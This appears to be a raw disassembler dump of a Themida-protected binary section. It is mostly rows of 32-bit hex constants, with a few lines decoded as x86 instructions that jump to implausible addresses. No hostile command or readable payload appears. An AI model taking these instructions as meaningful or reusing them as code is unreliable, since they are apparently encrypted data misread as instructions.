0F4F4A5h, 0CA140538h, 0CC1FEDA4h dd 8125E9FBh, 0B6996F54h, 90E1B830h, 12C1874h, 2190E112h dd 175DCE80h, 0B15F55A2h, 29142010h, 0B227E601h, 0A4C9135Ch dd 1A9AAC70h, 0F112717Ch, 7232B878h, 0C15F8918h, 0F8429AE8h dd 940A87h, 0B9C70C4Ch, 209D426Fh, 0A65BD540h, 4C3877C2h dd 9B3FB885h, 0B0F30F81h, 664952EEh, 0BADA00FCh, 0AAB5EADCh dd 0FBB203FDh, 0A2D06511h, 0B894D94Fh, 592C2C82h, 92C2444h dd 4E411F9h, 0FE50A896h, 13EC9AABh, 283EB7Ch, 520ADA7Dh dd 8294B0E0h, 0D3F78D17h, 754EECE0h, 153307F1h, 0D0C04AF2h dd 53476F12h, 0B98B0C9h, 0C30957D8h, 1840CC2Bh, 24EDCC4Dh dd 38009424h, 5AAD80F2h, 1E659ABh, 0F99C906Ch, 30450D34h dd 90BAAAB4h, 35DCA03h, 0A2510A20h, 4C805D37h, 303CC088h dd 0C0273A4Bh, 5C1A6C83h, 0A16CCE9h, 3F70F56Fh, 7D026430h dd 0F14CB809h, 0E1C2B42Dh, 54E077D0h, 6305E634h, 57DC197Fh dd 0C22E808h, 0DAC0A314h, 0BC505902h, 56C0723Ch, 60DE0C0h dd 0B095A2D9h, 0A0935470h, 814E51B8h, 20287B1Eh, 0CA684543h dd 0DC3CE460h, 0D10A860h, 7E872E37h, 81540F7Ah, 69DF523h dd 40DEECFEh, 254E0739h, 2C185142h, 241E92E0h, 0DDC08010h dd 3A5B56D8h, 2E980Bh, 323CE574h, 3A0A10Fh, 7C2C2478h dd 9D742952h, 2B450015h, 910AA1ACh, 4B370216h, 278A7A00h dd 0EEDF394h, 7742E6B1h, 0D6F411C0h, 5E073B2Eh, 52182B37h dd 0B4809565h, 503D6556h, 95CA7462h, 64F0E842h, 98802C5Ah dd 344E0216h, 0A428490Ch, 0FE27321Ch, 0C6CC405Bh, 6BD41C3Ah dd 891392A3h, 5E6A58h, 5961048h, 0D120B8CCh, 10569030h dd 1A28DCD4h, 0E8C199FEh, 76670840h, 397A83h, 79B2863Ah dd 9438FE47h, 78343A95h, 194A07FCh, 0D011487Bh, 0BFF6D3E6h dd 65E36D00h, 5DCB7541h, 0DCF4074Dh, 65C0096Eh, 7342C061h dd 0AE167C55h, 0DB0065F8h, 66518D27h, 96C5026Fh, 206BB1A5h dd 81485C46h, 6FC81F58h, 0FC00B452h, 3762AE2Eh, 5A3F2FEh dd 9384C424h, 7220F74Ah, 0B308DA0Bh, 0EE4D80EDh, 0FABDE2C2h dd 0E43C24C7h, 2414A79Ch, 0E257313Dh, 722F1120h, 76FE1308h dd 0A650F4C3h, 4AF86041h, 5A3BFC16h, 39000AFh, 0F93CA906h dd 2E0D750h, 30EE453Ch, 7D0B1181h, 403D7966h, 8A2663D4h dd 0AF010913h, 0C699815Ch, 549721D1h, 17B888DEh, 0E29C1D48h dd 28C03262h, 1490F4DAh, 803E0838h, 94BA54B9h, 90B49A5h dd 8F6F0684h, 3F6EA0A3h, 356401C8h, 0A833FE10h, 3D45413h dd 0F82B36DCh, 43916DF3h, 7E77F142h, 840E1048h, 0A93B8A3Ch dd 0EB407BACh, 0EA437424h, 6390905Fh, 365C404Ch, 60E0D4B3h dd 8894F06Bh, 2870E580h, 5473426h, 33FDA9FAh, 89C8BC27h dd 3E2C540Ch, 26AF1F10h, 802FC71Dh, 0B3BA2578h, 123ECDAh dd 6218F4B7h, 0F15B5004h, 0BBF6F033h, 0B4D5C17h, 2D0F745Dh dd 0FEC740D3h, 4FCD7Ch, 76274EB3h, 721ADC77h, 0CEF0027Ch dd 194C6730h, 0E53BFB28h, 0D3308107h, 2C29813Eh, 0D66B7A65h dd 0F5BD8E4h, 0CC09D1CBh, 57F42780h, 863FF8C3h, 11498F34h dd 0C6A7637Dh, 2480078h, 0FAEA5C7Bh, 0D5303E98h, 75D460FCh dd 0F6FB1470h, 0F3381412h, 0F4AA929Bh, 1D6D17A0h, 945E18C3h dd 59409872h, 3EC0EF6Bh, 68226507h, 7F580941h, 0E6B0AC00h dd 630C2629h, 11C2B780h, 5AA206A0h, 0F9735BFBh, 7AC6A61Bh dd 94E0E779h, 1821A097h, 192A9C4Fh, 4B1FA67Fh, 9A415677h dd 0C6D4D35Ah, 4E9EA840h, 0BF100A4h, 1BB87D92h, 5761A7CEh dd 0D5EA1738h, 0D2374080h, 0D1AD0BF7h, 0D3F27404h, 0A000DE1Eh dd 1BF15A92h, 0AF850784h, 0F02DA705h, 18332BF5h, 0A0A817E4h dd 7905E052h, 0CD4EFB90h, 0C0D17800h, 15CC58C8h, 0ACFA0F3Eh dd 1DD6BF0Eh, 0D1D33881h, 1870BDCBh, 4F208D66h, 40EC6521h dd 0F0D037CAh, 0AA7D2FDFh dd 43FA9215h, 0FBF101B8h, 0E4C41791h, 2B329450h, 27D10009h dd 0F25F10EFh, 9F01FAABh, 460E8FB7h, 1180AC65h, 0F039F873h dd 0FD3017E0h, 3BFC4019h, 42181881h, 7933510Dh, 3C4FC8A8h dd 724D53Eh, 4AA8D458h, 0B000F3F5h, 0A6BFA12Dh, 9E911D8Fh dd 57934260h, 0D4A05250h, 0B2036A7Fh, 0F641F801h, 231C1863h dd 4565608Fh, 0ED20BB6Eh, 78D3AA17h, 0F288EF50h, 0DC636401h dd 656B4FC4h, 80A75003h, 0BED30A77h, 0C3289962h, 688B60A6h dd 124BF053h, 16A03Eh, 4228903Ch, 5A12C29Ch, 30099E40h dd 494C0648h, 6AEF24D0h, 0A76D0878h, 8001ED12h, 0C90A5F9Ch dd 11180880h, 0AC0275FDh, 0BD4F8828h, 0A32F88C0h, 3997BD0Ch dd 0CD00A657h, 17A13026h, 0D8C11B0Eh, 96DA4F2Bh, 9C23C3C1h dd 0A6D77704h, 17888833h, 20FA0C30h, 52F7D148h, 0FB12F8BCh dd 89842369h, 0C0F6A830h, 40FD0ED3h, 76484EFEh, 17E205D0h dd 1C63C6CFh, 3EE151F5h, 0C1E51080h, 8DCFD2D7h, 0E20029B8h dd 7AB9CAC5h, 40CB31h, 0AB590DF8h, 48FB4533h, 9939700h dd 0FFBDF704h, 0EC8D1E15h, 54E512D3h, 0F52440B0h, 64091890h dd 68CE8F53h, 4A37A173h, 70F0FBFDh, 356E47Ah, 0C6825E55h dd 2140105h, 706BB53h, 565BD62Ah, 0F003770Bh, 0BBA52D8Ch dd 0C79006C3h, 5CEA5DA0h, 822EC56Bh, 841D0CC8h, 0E3B7340Ch dd 0D0667EEh, 0EA238F8Ch, 296F9141h, 6F4B064Ch, 545C0C10h dd 824703BCh, 0E06A60FBh, 1868D4E5h, 358A16C0h, 285F5525h dd 1839C782h, 0A4E1F69h, 6E68F8EAh, 6700534Fh, 817CB252h dd 29EB1DECh, 47C45DCCh, 0EE8AFEAh, 26C6510Eh, 8A390CDFh dd 5ACB00F2h, 8CD1025Fh, 82251415h, 581437C5h, 20753C0h dd 0EA8860F9h, 0DD40E70h, 0FBEA9DC1h, 82528ADDh, 983D1EC3h dd 8416FFF6h, 340333C2h, 668322Eh, 0A208AB0Dh, 41421C51h dd 0E282D2F8h, 5F8AE897h, 0C2004A77h, 121C7EDEh, 0C0EFB6EAh dd 0B2BAB5C5h, 0E21F2966h, 9B8A5359h, 0F280A616h, 708E3930h dd 8DDCDF0Ah, 8589F75Dh, 2D9469DAh, 81BFB132h, 8CF40259h dd 31EA1484h, 69600186h, 31A06491h, 8948F190h, 6FEA7F5Bh dd 80665CEDh, 1FA32739h, 2EF9E69Bh, 9815A019h, 9E8251h dd 0C4695937h, 0BB2D5F54h, 5BD145A8h, 66091290h, 456201Bh dd 6902531Eh, 1BA567D6h, 0D880154h, 8A6627EAh, 0FCDCF718h dd 0F4C0851Ch, 5CD9312Ch, 4E901C1h, 0EEA0825h, 542A9D52h dd 0C9E028Ch, 0FA1D6B88h, 0BB10330Ch, 2457860Dh, 0CDF08E30h dd 0BAEAC0FCh, 68C14474h, 94FD86F4h, 43D6E28Bh, 0F4407FFEh dd 0D9323FAEh, 301CED34h, 0BF87BE90h, 2A46AA09h, 0EAB921E9h dd 0BB501343h, 18C7E882h, 0C484614h, 0CB07045Ah, 0DABA5247h dd 9C908AB9h, 4039D302h, 25FC8127h, 43CA6402h, 48FFEA24h dd 1EFC28Fh, 71F78208h, 0DB39BC3Bh, 8825F8C8h, 58E354Ch dd 7446EA5Fh, 11ABD54h, 695BD72Ah, 0B5987A0Bh, 6318A03Dh dd 0E8E55881h, 505DD040h, 820B0040h, 1A170FECh, 0D46FF825h dd 0A3C44004h, 145E2124h, 89DEBCEAh, 741D8C12h, 0A7D60CB3h dd 0EA150306h, 10F4142Ch, 307A4623h, 0D20A3B87h, 0C3043CEBh dd 0E1268510h, 809D3D91h, 0B9300315h, 7ED86B1Fh, 6207EC0Eh dd 0D9F8314Bh, 8053D122h, 0C61170A0h, 6AD9A016h, 2AB22634h dd 78EA0504h, 0C6834E93h, 5BFF56ECh, 848E584Ch, 1CD9060h dd 8C08C10h, 5FE84C3Ch, 3B33F611h, 48E49AECh, 7300BB0Eh dd 0EAE10940h, 0A1B972Dh, 2678CCC1h, 67900412h, 0C6EA35FAh dd 7FDE1ADFh, 5A0E6A0Dh, 6428E26h, 315BE64h, 0F709E8C2h dd 32800B30h, 4CE19A02h, 8A0327E6h, 9EA60FCh, 659AB10h dd 0E212CA9Eh, 9FD03DB2h, 0EBC21D93h, 8CD39F06h, 0E0AD654Fh dd 5564BFEEh, 0FD91560Eh, 95B041C0h, 6179F6CAh, 1DBF30F3h dd 31A1769h, 7E0D8AD7h, 0C25A41CEh, 9F8C3F61h, 0E4D654E4h dd 84DC220Ch, 69463BBBh, 0F3823300h, 4D084205h, 0CF01E3ECh dd 0EA32F00Dh, 24566388h, 116C31D8h, 0A6DB29CDh, 0FC97C48h dd 25B1A933h, 0C78051E3h, 1F0D8F7Eh, 403BD9C0h, 0C3F88219h dd 3555F36Fh, 40D8E1A6h, 0BEA4A0A2h, 68027E3Bh, 0EE19CC73h dd 1E605766h, 9841199Fh, 0E5C12E71h, 0BCD880C9h, 63DD48EEh dd 9A35F2EAh, 0B61993Fh, 2B222DD4h, 0A2AA8FC5h, 0E7656F96h dd 58E19334h, 0A68D08B9h, 405BBF0Eh, 18590392h, 2A5D15EAh dd 0BB0CF29h, 0ACEC9720h, 2E34661Bh, 0B72ACD32h, 2684D53Fh dd 946772F8h, 37625018h, 0B19EA87Fh, 1252F51Ah, 47024058h dd 0D15404B7h, 0C25CDB02h, 0C0003D73h, 1FBF9346h, 9FA32ABh dd 22311FE8h, 0F86710E5h, 468AA81Dh, 4992DAh, 5489EE82h dd 0DE026AEBh, 3340F1FCh, 0B655A0C4h, 8206805Eh, 3E3C691Ch dd 135F9CD6h, 0F54764D3h, 5502E41h, 18022251h, 408859C7h dd 88F7D45Dh, 3DEBED79h, 0DC8E649h, 56E2FF24h, 8ED898BEh dd 0CE2F824Eh, 4AF2F006h, 0C987C002h, 402ACEDBh, 0CADA8AC2h dd 0CFA15CB9h, 52EA1CFFh, 3106280Fh, 0D5C1DB0h, 7B0996D6h dd 0C0A4803Fh, 17B353h, 0B854DBF7h, 0F938EAB9h, 0B79E78D8h dd 1B6C2468h, 268222FCh, 68ED6F8h, 762B0AEDh, 0E5ACE24h dd 0EC560604h, 0C7EF7383h, 0AD34082Ah, 0A8865DC8h, 984D02D6h dd 595A1494h, 5D7E9584h, 51260D24h, 0C9D14FA3h, 0D755311Dh dd 2EC1B564h, 0FEA04EFh, 0A584F1B6h, 6927A209h, 442D8231h dd 2F144A40h, 430A2D87h, 44035962h, 5B7BFB6Dh, 7CE4E405h dd 0B6C06E32h, 76F13539h, 0DCA1F3Dh, 0C5FD808h, 0A22E47DCh dd 0C289CA06h, 17564402h, 13393CC8h, 251A040Ch, 0D82A022Dh dd 8CA8615Bh, 0B253F543h, 990951E3h, 81880C84h, 0D4325D94h dd 682553EAh, 2849D020h, 2E814509h, 42B14F0Dh, 0B7445A3Bh dd 5F4DDA63h, 0A39DAD8Ch, 39766A83h, 0CBE04E02h, 0C17977F3h dd 8E3C205h, 0FE0FBF57h, 3154F9F4h, 7463ED26h, 8A50E6CDh dd 6A0AEC3Fh, 0F0776171h, 0A8E5AB42h, 3D24B1A9h, 12F80A0Dh dd 3C5CDAD0h, 0D732F288h, 0AD8E4208h, 1ECA2D00h, 0D9699CEAh dd 0CBF8052Ah, 6445D227h, 7469DB61h, 1DAB49F6h, 0A262E402h dd 19FEA598h, 77704A81h, 8D5600AFh, 5ACC323Eh, 5C036054h dd 0B7805806h, 46F3A81Eh, 2130AFAh, 3A072EF9h, 0E67611D1h dd 4C23912h, 1DD816F4h, 0F70B1158h, 0B894CD1h, 0E40F813Bh dd 0D74DCFFFh, 17E3E704h, 0F5710650h, 0E76F5B73h, 6DB08A2Ah dd 345D320h, 342CF1CDh, 2E8569A0h, 53802999h, 0C176B151h dd 540503E1h, 66EA74B4h, 1B67D7FCh, 0FA9B88h, 1C34BAC2h dd 5024EA54h, 21A80F62h, 93AE155Ch, 0DF58CAE0h, 68C3C3CEh dd 0E7C3B42h, 0A0FB830h, 1EBDC681h, 0F8EA924Fh, 83166D30h dd 8FF004C4h, 3C873FC1h, 9ECB8B24h, 0A0C2FD5Ah, 0E068F192h dd 890EC05Fh, 30E92414h, 4CE49249h, 0B3813954h, 38303FFh dd 0E9D2F70Ch, 141DE0FAh, 0DECC465Bh, 1C810EE7h, 7FBBFCC5h dd 5DE80109h, 3C38DD08h, 875AD08Fh, 55004714h, 7B3826BDh dd 0F5038163h, 287C5299h, 0CD838F45h, 1AB78191h, 95335880h dd 1EE9A448h, 686EDF61h, 0BD8032C1h, 64B3241Ch, 0E9FCB050h dd 1ACF417Fh, 0D30CCF66h, 808F4701h, 0C6CC01EEh, 50E9308Eh dd 0C0D7F69Bh, 0F303EF3Eh, 50C5367h, 0E9BEF760h, 652C6327h dd 0C19B51D8h, 0BA01569Bh, 6EC2770Dh, 6DB3BE9h, 8044B424h dd 6C2082ECh, 80336635h dd 0DCF0631h, 2A81E65Ch, 2C7F57h, 605812BDh, 4E5C165h dd 9AA486A0h, 0A406402Ah, 2434FF1Dh, 48206806h, 98EB833Bh dd 6709E9E7h, 60211498h, 0A7C1815Dh, 0E8A25328h, 97FE4028h dd 8956590Fh, 0FABD26E6h, 7E06AC12h, 5E02850h, 0C0833F08h dd 55CD654h, 1DE9C331h, 3BC44EDh, 1A205A5Bh, 155621Dh dd 8BF02906h, 0AB57BA98h, 5E805F72h, 14C25081h, 68146087h dd 57CEE953h, 0EB246E92h, 111E932Dh, 162F5ACCh, 7F831CADh dd 840F0620h, 33A08997h, 3F353CFEh, 5927586Fh, 0FEA8F262h dd 414A1F40h, 0B17CDE2h, 671A8052h, 5308CE39h, 1E9302BBh dd 0BAE92951h, 0B8B88049h, 24247A9Dh, 0FD81611Bh, 5B28685Fh dd 0BB0F3C23h, 272C7CC7h, 0F68034A8h, 88511CD6h, 9FE9DF5h dd 2F0759EFh, 85CF744Ch, 0BF300D39h, 0F04C831Eh, 1EEC47E9h dd 0C3C77B9h, 0F1C7FB2Dh, 8A5D1001h, 8BC80163h, 0F3572321h dd 0EB9C2C64h, 744333E9h, 0C9F744AFh, 31581E25h, 97BA13h dd 0FD06E6C1h, 1F579DCCh, 0CD4E6DC4h, 11E7D89h, 35D6BC9h dd 37487E87h, 0EA6149D1h, 0C20029Eh, 3C407085h, 110F5A95h dd 0AD92917h, 5B1D08E9h, 0A530DC89h, 0EF01D33Ch, 57E37E7h dd 803318F4h, 8B28D031h, 66026F14h, 25E930FFh, 9C8588D4h dd 0AA38CF8Eh, 561EA1DFh, 0B22C70Eh, 0E91481F8h, 0E59F166Eh dd 67EB8FC3h, 906F9E44h, 0BF41B873h, 1DA2601h, 0D08958C2h dd 0A0599530h, 8069D877h, 449EC83h, 6683971h, 8B2F4C02h dd 98E91210h, 11865EE3h, 0E0CB412Ch, 11DD05F4h, 0E430C8F6h dd 89859B59h, 22805AD1h, 484F0FBBh, 48F77198h, 4141FFCEh dd 247B1B26h, 928D87EAh, 0CD436C1h, 51656DFCh, 0AE00C35Bh dd 509248F3h, 3C8D2468h, 7FE961D6h, 1BA8DD3h, 0D0549A74h dd 0E46283h, 6A0BD18h, 0EDC1270Ch, 946034Ch, 80E180D0h dd 5F6DC74Ch, 29351FA3h, 851B9EFh, 33565122h, 5C243D4Dh dd 56C8BE94h, 0F3195F01h, 40055830h, 7CB76806h, 4BC6B99h dd 3B4B1C80h, 4F56B781h, 15779633h, 851F8AE9h, 3E02C411h dd 0D9AB1A51h, 0A1B600C4h, 902DA856h, 3C27FFCh, 0E9FB0F08h dd 3D031BE7h, 0D409ACC7h, 720C0022h, 5D2DF96Eh, 7960F1E9h dd 0F45EF25h, 0C0D60A4h, 0A33326ADh, 5FF80113h, 262F9254h dd 79407D66h, 506F3C6Ch, 9808AF29h, 18C3A874h, 5362913h dd 6C293EBCh, 8214200Ch, 90CC2921h, 800175E6h, 663CD188h dd 95B6985Ah, 782BB12h, 134A833h, 53C6C2DDh, 4AC0D4Bh dd 52075A92h, 0BBB25954h, 2426980Bh, 23DCC5Dh, 6E341250h dd 58C33E44h, 44125281h, 0C90049F5h, 72766F52h, 330E50Eh dd 0D5F7E54Bh, 238DB90Fh, 0C0015170h, 0A3E508E9h, 0C1D8F8C6h dd 4C0760E8h, 1315497Fh, 1692BF80h, 0F29A891h, 58200171h dd 6E50685Ah, 6998F8A6h, 0C6B13448h, 17C101B9h, 33234568h dd 1BFEBA5Eh, 86CE6C1h, 0C802F38h, 7C0B03B8h, 3E5923E9h dd 1C471395h, 0C4688D20h, 0E932A805h, 401E9B3h, 1050311Fh dd 3C8B59F1h, 0BFB0CBA4h, 8E990270h, 0A1665C89h, 37BF68CFh dd 0C61A53B4h, 44430BDh, 7552A68h, 0BF57285Eh, 0AFAF20Eh dd 0F336E95Fh, 242326A1h, 742510D8h, 53574C6h, 65774DAh dd 0BBE9035Bh, 5048A58Bh, 86B41786h, 5A568152h, 0B2E15E09h dd 99D0421Eh, 0CD0D0CD5h, 52C3FDE3h, 0C212EC15h, 583DA4C0h dd 3521B8C1h, 0A03CB703h, 12FA5F8h, 5BDA010Eh, 0E02DAE20h dd 297B121Eh, 8A410D7h, 5F4CF648h, 6729EA1h, 2E0E8CB6h dd 52321362h, 8F5EA890h, 0A02A719Ah, 0E769A412h, 0EF96197Eh dd 0B14A66DAh, 71819EA0h, 0E1D931D3h, 613865DBh, 0A7A6016Dh dd 0B6D64C49h, 0F1887F1Fh, 201CD609h, 0CE5569C2h, 615EF420h dd 2EC6F03h, 0A4E2966h, 0C7D93026h, 5D981034h, 0FA9735E9h dd 44289471h, 163C4079h, 5F30C524h, 2C26852h, 0E935807Fh dd 8FAA364Dh, 0EEB35337h, 84559DB4h, 7D61E96Dh, 0C5835902h dd 88BB908Ah, 53124A1Bh, 21474E07h, 0E7EF8039h, 0E5DC0499h dd 6D83FF41h, 8B7F7763h, 515D6B00h, 0F85E9EB9h db 19h ; --------------------------------------------------------------------------- loc_4E6DBD: ; CODE XREF: Themida_:004E6DD3j pop eax shl dword ptr [ecx], 0Ch jmp near ptr 53BFAE08h ; --------------------------------------------------------------------------- dw 50FBh db 87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp cwde or cl, [edx-16F9DEA7h] jle short loc_4E6DBD db 64h mov bh, 83h inc ebp cmp [edx+ebp*2+5A51A4B8h], ebx add [esi], cl push 19442F1Dh add esi, eax pop eax push es push ebx xor [edx-73h], al add dh, [esi] icebp aas jmp near ptr 0C7989C1Ah ; --------------------------------------------------------------------------- dd 0FB20F6C6h, 76667B15h, 61DAF2EAh, 0C4807EF9h, 0E5CCCC42h dd 53B25226h, 805AD40Fh, 0D0E928ECh, 643AD881h, 0CD904953h dd 0B6AEC8C0h, 1689A4FAh, 7295DEFh, 4BF4E91Eh, 32C8F7A8h dd 2D685807h, 59675451h, 28A6FE48h, 7C98205Eh, 0AFEE8003h dd 0DAB3B151h, 0A5A8503Ch, 4E6884A5h, 1B53A278h, 37E909E9h dd 535E505Ch, 0D1B0EF52h, 744BE9EDh, 2966E302h, 8040CCF0h dd 0FB257D86h, 0D3181339h, 515A4D30h, 2A129CFEh, 4E8C0387h dd 0C503B0C1h, 81510606h, 101872Eh, 3AF8C35Ch, 0E570DDCFh dd 304DD3AFh, 0A4E81D15h, 5285F1Ch, 58A3FB44h, 54C7131Eh dd 981B4B8Bh, 7B96CBFDh, 4AD89D2Ch, 0F304D29Bh, 7A2E10EAh dd 2DCE4491h, 0D50F45E2h, 0E6D8017Eh, 236F12Eh, 8016B753h dd 0DA4199CFh, 0EB639C5Ch, 488028Bh, 0DA8CD8EEh, 1487245Bh dd 0A8D268D7h, 0B4DD559Ah, 4B577224h, 3A2B0B54h, 5A1F74B8h dd 96E788h, 53288426h, 0EA4F3ABBh, 0DF296E03h, 21AE95Bh dd 2B03BA53h, 0EC04251h, 0E13B3E79h, 23E20335h, 6775461h dd 0A4E94AF6h, 5E3B5A42h, 6B0A9257h, 40C91A44h, 280C9761h dd 0DAC8DB87h, 0E8165050h, 2FBD0FB8h, 73660AA6h, 0F300AF84h dd 9BF1EE9Ch, 0C35BDE29h, 0EB82E9E9h, 0C9313824h, 53A6F71Fh dd 0B0551604h, 0F6715887h, 0B7C8EAA9h, 5EF72E89h, 0B42252h dd 3054B050h, 620458C1h, 2CC8281Dh, 27D15914h, 22629815h dd 0CF8BC170h, 80D60F79h, 1C8EF70Ch, 1229B169h, 0C301E9F9h dd 1C004FE3h, 5A9F6EBEh, 0A59CA05h, 51E9377Ch, 0D0308AC0h dd 771413D7h, 0FC3C0DDh, 0D1B8C0B6h, 8559958Ah, 114CA928h dd 7A87D3BAh, 2F01C64h, 5816413Fh, 4824589Ah, 0E9125B91h dd 68083B53h, 915D1330h, 22801A3h, 5C7AC959h, 0E403375h dd 1D0C7A18h, 661CE91Eh, 70CC40FFh, 1282442h, 0A422ABF0h dd 0B7B80509h, 8273AF69h, 0E19122DDh, 169646Dh, 2D32DD48h dd 5127077Bh, 22B95977h, 4A4BFD3Dh, 0A43E4CE9h, 5594CB17h dd 252AD700h, 0F2A04B3Dh, 610043CEh, 0EEC14CD6h, 0BA9CE902h dd 25547619h, 0C6A21E7Fh, 5C2D23BEh, 374EDB2h, 433C3500h dd 48273D29h, 83EE4FA4h, 8EBC15Eh, 77CCC407h, 0CEF2392Ch dd 81BA4CEEh, 0E00660D8h, 0C1A41CF4h, 0D6848098h, 3F9F72Ch dd 2F301212h, 30E99C50h, 5850CCDCh, 773EDC0h, 8008E51Dh dd 30CE7BDh, 2C43C560h, 0E8281D21h, 8C591504h, 52CDE916h dd 0F9261ED5h, 0CA4FF79Eh, 8DA6758Bh, 9180D366h, 6775A76Ah dd 0E0680BA2h, 5928195Ah, 20F18119h, 80DE510Fh, 0A5652EB9h dd 0A85E483Ah, 94410741h, 0AF6271D4h, 0E60C6802h, 0D3C05B4Ch dd 0EE306520h, 74541A70h, 29371E2Ah, 8ED14CDh, 0C3B5E912h dd 6EB35A9Eh, 2D29AF50h, 3B430A1Fh, 94675E1Ch, 0E8832D4Ah dd 80E92710h, 0E6D1095Ch, 0E01E960Ch, 28A3C380h, 0C83AE79Ch dd 2CC6902Eh, 7B01C453h, 0D73006B7h, 0ABD998BCh, 4B4E4730h dd 8A7C9151h, 18E61231h, 8060EC30h, 0F6DB0FB4h, 60EC0D4h dd 8305E465h, 2B87E2E5h, 0EBEBB0Eh, 2CC71EEAh, 4D0836Dh dd 0E97880A5h, 139E1566h, 299F6BEFh, 0CF1581D2h, 5B30C7FEh dd 0A934391Fh, 600C293Ah, 1E3C3E9h, 2A05E801h, 573DB07Ah dd 3199DF20h, 694C4F1Dh, 8565F7h, 3F76C7EAh, 39594928h dd 4068B281h, 0E9315D0Ch, 292E5AE6h, 0F53BC24Ch, 4803D39Ah dd 708F1D2Dh, 4AC3FA7Dh, 2513E581h, 10A3198Bh, 0C3F8FB01h dd 20EA23E8h, 50BA5238h, 327DA5Dh, 40D69A02h, 81489F07h dd 8F44D85Dh, 18D32980h, 42C3015Ah, 0D62C5642h, 0CCECF072h dd 413A00BDh, 0EA295EF9h, 764DB6E9h, 8FD82EB2h, 0D9FBD3AAh dd 2E9D73DFh, 0E958165Dh, 2CC2B18Fh, 60910CCh, 0D7F7FB87h dd 0DC46F608h, 58C70B61h, 0FEF2D40h, 0D870DC90h, 0E466FD28h dd 0CCA28ECh, 5216405Bh, 0A221D457h, 908DD72Eh, 4504CAFEh dd 0FA5A1A1Ch, 0D6E44478h, 207B06CBh, 32685318h, 7B9E9417h dd 0B4506D2Dh, 0B92D04AEh, 820C8A3Fh, 78105C1h, 3DFF505Eh dd 3A5469EEh, 4C4439Fh, 0C05FB340h, 0CB7B80E3h, 510E6618h dd 0FD2853B1h, 2604AACh, 4FE99A2Ch, 0C69C4949h, 0E088F494h dd 70265CD5h, 212D2271h, 62A468C1h, 0BF86ED3Ch, 57A127D0h dd 0C4587C27h, 68007C01h, 3AD60A2Ah, 0D84D13F4h, 0F7518ADCh dd 0B3B2ECE9h, 0A09620F7h, 5C4BDF1Fh, 0B0503646h, 2C3F12D3h dd 0C96D034Ah, 0C0DD066Fh, 0A26C78E1h, 0DE314912h, 17D938B0h dd 6B53Eh, 0BD73FDA5h, 0D75DE97Ah, 836F731Ah, 0A9452BB2h dd 0D9AB8207h, 10BE0779h, 29583FA4h, 0D15AD60Fh, 75ADE5E6h dd 0EDD6785Ch, 62467E09h, 8F873C0h, 0BF0E141Fh, 4A5F0080h dd 523C22Dh, 0F8016E8Bh, 0A6071F05h, 80D10848h, 5CA16052h dd 605D8125h, 6B803B6h, 0A5B29817h, 3D6DD905h, 90DC1BB5h dd 68199E14h, 0B9EEDB5h, 985B52BEh, 402CE926h, 1C51B505h dd 12832C49h, 8804FEB2h, 0E8C37EF3h, 0C09485FFh, 0C58719DDh dd 0BB42CDEh, 0E9821F0Eh, 0BD4472F3h, 9F746AD4h, 9886AA7Ah dd 604BF481h, 62652AA8h, 0B48121FDh, 1E69EF81h, 532A0C63h dd 0EE0738DFh, 20FEA80Eh, 82E95FFEh, 0BD28C008h, 6605144Eh dd 0E60B6B90h, 40C81D55h, 4D99E959h, 0C98B3B7Ch, 3C5FE1C1h dd 0F920D69Fh, 82704F68h, 80304A41h, 4E67C689h, 0B45B26FBh dd 0D336429h, 0DAC0631h, 6261AC4Ah, 0F7035C41h, 0BA9E3DDDh dd 4DCA051Fh, 251A3F37h, 609E3141h, 73D97F1Fh, 0C1FA4AA6h dd 1FEE0C5h, 0CCE1E480h, 0E7E0BCC4h, 0FA885801h, 6E2C05Bh dd 0CF4CC420h, 53A55428h, 2FC61F56h, 27C1E5AEh, 903EA24Eh dd 68005452h, 50FF2D21h, 2F8C159h, 5203C090h, 91F822Eh dd 9F07DD9h, 0E04010A7h, 0E0CD9005h, 7EBA1CF3h, 90C82920h dd 306813A2h, 41F0897Ah, 481267Bh, 51ACAE0Fh, 1D64B310h dd 4ACC6F04h, 0AB580E31h, 531EC9A3h, 60D6323Dh, 553EE9FBh dd 0CECB16D2h, 4556294Eh, 5C1CD2E5h, 0A5225BDAh, 2E929848h dd 0A561BB2h, 27CA8804h, 8485A9B0h, 78895E80h, 638D2710h dd 5BE25A0h, 14F6647Ah, 74974465h, 0D549ECF2h, 1999552Ch dd 20E1D950h, 36C62D3Fh, 286735BFh, 0D3A7C782h, 0ED5B0893h dd 0E257521Eh, 0CE7C0D8Dh, 0E926D8B4h, 4FF6F12Eh, 15CCCA81h dd 0F2D82152h, 54491E57h, 38F71922h, 0A0CD3C5Ah, 0B6013A68h dd 59C260E9h, 0B805654Dh, 23E2D7D0h, 0EDE0FD5Bh, 0B62A02B6h dd 53500E96h, 0FC44CF88h, 0A407815Bh, 8C680015h, 3E2FC646h dd 0E35C3B5Ah, 0ACAC5FEAh, 10E93C3Ah, 38DC6A5h, 561B68DFh dd 224C3710h, 0C2015D0Fh, 470D3605h, 25D58858h, 3250162Bh dd 0E4D02A80h, 0F5624FB4h, 800E445Eh, 20EF287h, 0E93CE514h dd 93C8C6B9h, 48A53D1h, 0ACD0569Bh, 16F41C5h, 68575A20h dd 0C6695164h, 0A8B9F960h, 2E8E1904h, 0ECC0E1C1h, 3B3F80F1h dd 796E38h, 1D6507EAh, 0DE9D1F7h, 0F0EC4155h, 0B10A5AA8h dd 0F4FA0175h, 502E0820h, 0D065F0B8h, 0C52D6D82h, 0BF0F2EF9h dd 0BCCB409Bh, 124A1378h, 0A2265814h, 4D230A83h, 95652208h dd 2956C486h, 1BE1BE8Dh, 3568F93Ch, 0DABAB990h, 135AD19Eh dd 0F5A08DCEh, 5E3B9AF0h, 4C9A5813h, 16392056h, 55B703BEh dd 9A23F0EEh, 6700BD1Ch, 312D877Ah, 31E958C5h, 174D079h dd 165230D9h, 7DDF1C39h, 0D7562731h, 874C04EEh, 1D97B649h dd 8D55BD59h, 3E489CA1h dd 0D3275FB7h, 81F558C7h, 79315D36h, 0E5384861h, 4D357F60h dd 6D7320h, 53A1BF57h, 0BA6860FBh, 0CBD35658h, 4CE487BEh dd 56481DBh, 0C1DCB373h, 7338B8E2h, 16B6801Dh, 66F08800h dd 80A0045Ah, 0E61270C3h, 0BC159E9h, 0B013E42h, 0FB840FC0h dd 77D0513Bh, 0A6542428h, 4DBD2E03h, 0AD142E9h, 0C8758FCh dd 0BA9D6AF5h, 0C83CB948h, 8F05126h, 3B2FC539h, 58C2E94Dh dd 25270B98h, 62668ADh, 0DEC51C44h, 10ADF310h, 2A581420h dd 0B753E304h, 